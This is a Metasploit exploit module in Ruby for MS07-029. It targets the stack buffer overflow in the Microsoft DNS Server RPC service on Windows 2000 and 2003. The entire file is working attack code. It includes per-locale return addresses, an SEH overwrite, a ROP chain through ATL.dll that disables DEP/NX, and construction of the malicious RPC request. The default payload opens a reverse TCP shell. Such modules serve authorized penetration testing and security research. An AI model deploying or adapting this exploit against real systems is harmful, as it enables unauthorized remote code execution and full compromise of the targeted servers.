MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the RPC interface
        of the Microsoft DNS service. The vulnerability is triggered
        when a long zone name parameter is supplied that contains
        escaped octal strings. This module is capable of bypassing NX/DEP
        protection on Windows 2003 SP1/SP2.
      },
      'Author'         =>
        [
          'hdm',     # initial module
          'Unknown', # 2 unknown contributors (2003 support)
          'bcoles'   # additional target offsets
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-1748'],
          ['OSVDB', '34100'],
          ['MSB', 'MS07-029']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
      'Payload'        =>
        {
          'Space'    => 500,

          # The payload doesn't matter, but make_nops() uses these too
          'BadChars' => "\x00",

          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', { } ],

          # p/p/r WS2HELP.DLL
          [ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
          [ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],

          # Use the __except_handler3 method (and jmp esp in ATL.dll)
          [ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
          [ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],

          # ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
          [ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
          [ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
          [ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
          [ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
          [ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
          [ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],
          [ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],
        ],
      'DisclosureDate' => '2007-04-12',
      'DefaultTarget'  => 0 ))

    register_options(
      [
        Opt::RPORT(0),
        OptString.new('Locale', [ true,  "Locale for automatic target (English, French, Italian, ...)", 'English'])
      ])
  end


  def gettarget(os)

    targets.each do |target|
      if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
        return target
      end
    end

    return nil
  end


  def exploit


    # Ask the endpoint mapper to locate the port for us
    dport = datastore['RPORT'].to_i

    if ((dport != 0) && (target.name =~ /Automatic/))
      print_error("Unable to use automatic targeting when RPORT is given");
      return
    end

    if (dport == 0)

      dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')

      if (not dport)
        print_error("Could not determine the RPC port used by the Microsoft DNS Server")
        return
      end

      print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
    end


    mytarget = nil

    if (target.name =~ /Automatic/)

      # scheduler service is only available on 2k3 SP0 and 2000
      schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')

      if (not schedport)
        print_status("Detected a Windows 2003 SP1-SP2 target...")
        mytarget = gettarget('2003SP12')
      else
        # only available on 2003 SP0
        schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')

        if (not schedport)
          print_status("Detected a Windows 2000 SP0-SP4 target...")
          mytarget = gettarget('2000')
        else
          print_status("Detected a Windows 2003 SP0 target...")
          mytarget = gettarget('2003SP0')
        end
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")
      end
    else
      mytarget = target
    end



    # Connect to the high RPC port
    connect(true, { 'RPORT' => dport })
    print_status("Trying target #{mytarget.name}...")

    # Bind to the service
    handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    # Create our buffer with our shellcode first
    txt = Rex::Text.rand_text_alphanumeric(8192)

    if (mytarget['OS'] =~ /2000/)
      txt[0, payload.encoded.length] = payload.encoded

      off = mytarget['Off']
      txt[ off ] = [mytarget.ret].pack('V')
      txt[ off - 4, 2] = "\xeb\x06"
      txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

    elsif (mytarget['OS'] =~ /2003SP0/)
      txt[0, payload.encoded.length] = payload.encoded

      off = mytarget['Off']
      txt[ off ] = [mytarget['Rets'][0]].pack('V')  # __except_handler3
      txt[ off - 4, 2] = "\xeb\x16"

      # addr = A + B*12 + 4 = 0x77f7e7f0  (ntdll -> 0x77f443c9)
      addr  = mytarget['Rets'][1] - 4
      addr1 = addr / 2
      addr2 = addr1 + addr % 2
      addr1 = addr1 + (addr2 % 12)
      addr2 = addr2 / 12

      txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B

      #
      # then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
      #
      # 0x77f443c9 jmp off_77f7e810[edx*4]   ;  edx = 0 so jmp to 77f443d0
      # 0x77f443d0 mov eax, [ebp+arg_0]
      # 0x77f443d3 pop esi
      # 0x77f443d4 pop edi
      # 0x77f443d5 leave    ; mov esp, ebp
      # 0x77f443d6 retn     ; ret

      txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V')  # jmp esp
      txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')

    elsif (mytarget['OS'] =~ /2003SP12/)
      off = mytarget['Off']
      ib  = mytarget['IB']
      txt[ off ] = [ib + 0x2566].pack('V')


      # to bypass NX we need to emulate the call to ZwSetInformationProcess
      # with generic value (to work on SP1-SP2 + patches)

      off = 445

      # first we set esi to 0xed by getting the value on the stack
      #
      # 0x76a81da7:
      # pop esi   <- esi = edh
      # retn

      txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
      txt[ off + 28, 4] = [0xed].pack('V')

      # now we set ecx to 0x7ffe0300, eax to 0xed
      # 0x76a81da4:
      # pop ecx    <-  ecx = 0x7ffe0300
      # mov eax, esi   <- eax == edh
      # pop esi
      # retn

      txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
      txt[ off + 36, 4] = [0x7ffe0300].pack('V')

      # finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
      # 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
      # 0x76a8109c:
      # call dword ptr [ecx]

      txt[ off + 44, 4] = [ib + 0x109c].pack('V')  # call dword ptr[ecx]
      txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')

      # we catch the second exception to go back to our shellcode, now that
      # NX is disabled

      off = 1013
      txt[ off, 4 ] = [ib + 0x135bf].pack('V')   # (jmp esp in atl.dll)
      txt[ off + 24, payload.encoded.length ] = payload.encoded

    end

    req = ''

    # Convert the string to escaped octal
    txt.unpack('C*').each do |c|
      req << "\\"
      req << c.to_s(8)
    end

    # Build the RPC stub data
    stubdata =
      NDR.long(rand(0xffffffff)) +
      NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +

      NDR.long(rand(0xffffffff)) +
      NDR.string(req + "\x00") +

      NDR.long(rand(0xffffffff)) +
      NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")

    print_status('Sending exploit...')

    begin
      response = dcerpc.call(1, stubdata)

      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
      end
    rescue ::Exception => e
      print_error("Error: #{e}")
    end

    handler
    disconnect
  end
end